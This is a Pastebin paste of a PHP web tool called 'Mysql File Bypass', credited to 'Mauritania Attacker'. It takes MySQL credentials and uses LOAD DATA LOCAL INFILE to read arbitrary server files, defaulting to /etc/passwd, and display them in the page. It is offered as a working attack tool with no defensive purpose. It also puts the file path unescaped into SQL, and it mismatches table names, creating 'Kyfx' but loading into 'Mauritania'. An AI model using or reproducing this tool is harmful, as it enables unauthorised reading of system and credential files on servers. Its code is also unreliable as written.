Advertisement
Kyfx

Mysql File Bypass

Jun 5th, 2015
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. <?php
  2. //Kyfx MYSQL FILE BYPASS
  3. session_start();
  4. @$_SESSION['host']=@$_POST['host'];
  5. @$_SESSION['user']=@$_POST['user'];
  6. @$_SESSION['password']=@$_POST['password'];
  7. @$_SESSION['db']=@$_POST['db'];
  8. ?>
  9. <html><title>MySQL File Bypass</title>
  10. <body bgcolor=white>
  11. <div align="center">
  12. <center><font face="impact" size="12" color="#FF0000">Mysql File Bypass</font></center>
  13. <p align="center">
  14. <img border="0" src="https://sophosnews.files.wordpress.com/2011/09/mysql-170.jpg"></p>
  15. <table border="0" width="80%">
  16. <tr><td><form method="POST" action=""><p><b><font color="#FF0000">HOST: </font>
  17. <input type="text" name="host" value="<?php echo @$_SESSION['host']; ?>" size="20">
  18. <b><font color="#FF0000">|USER : </font><input type="text" name="user" value="<?php echo @$_SESSION['user']; ?>" size="20">
  19. <b><font color="#FF0000">|PASSWORD : </font><input type="text" name="password" value="<?php echo @$_SESSION['password']; ?>" size="20">
  20. <b><font color="#FF0000">|DATABASE : </font><input type="text" name="db" value="<?php echo @$_SESSION['db']; ?>" size="20"></p>
  21. <b><p><font color="#FF0000">FILE : </font><input type="text" value="/etc/passwd" name="path" size="140"></p>
  22. <p><center><input type="submit" value="Bypass File Now" name="lulZ"></p></form></center>
  23. <p><center><b><font size="2" face="shell" color="#FF0000">Coded By Mauritania Attacker</font></td></tr></table></div></center>
  24. <font color="red">
  25. <?php
  26. if(@$_POST['path']){
  27. $host = $_SESSION['host'];
  28. $user = $_SESSION['user'];
  29. $pass = $_SESSION['password'];
  30. $db = $_SESSION['db'];
  31. if(mysql_connect("$host","$user","$pass")){ //The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead wkwkwkw let's wait the future xD!
  32. mysql_select_db($db);
  33. mysql_query("drop table Kyfx");
  34. mysql_query("create table Kyfx (hacker varchar(5024))");
  35. $path = $_POST['path'];
  36. $sql = "load data local infile '$path' into table Mauritania";
  37. mysql_query("$sql");
  38. $son = mysql_query("select * from Mauritania");
  39. echo '<textarea cols="100" rows="50">';
  40. while($hackerm0de = mysql_fetch_array($son)){
  41. echo $hackerm0de["hacker"]."\n";
  42. }
  43. echo '</textarea>';
  44. }else{
  45. echo "Sorry The File Can't Be Read :(";
  46. }
  47. }
  48. ?>
  49. </body>
  50. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement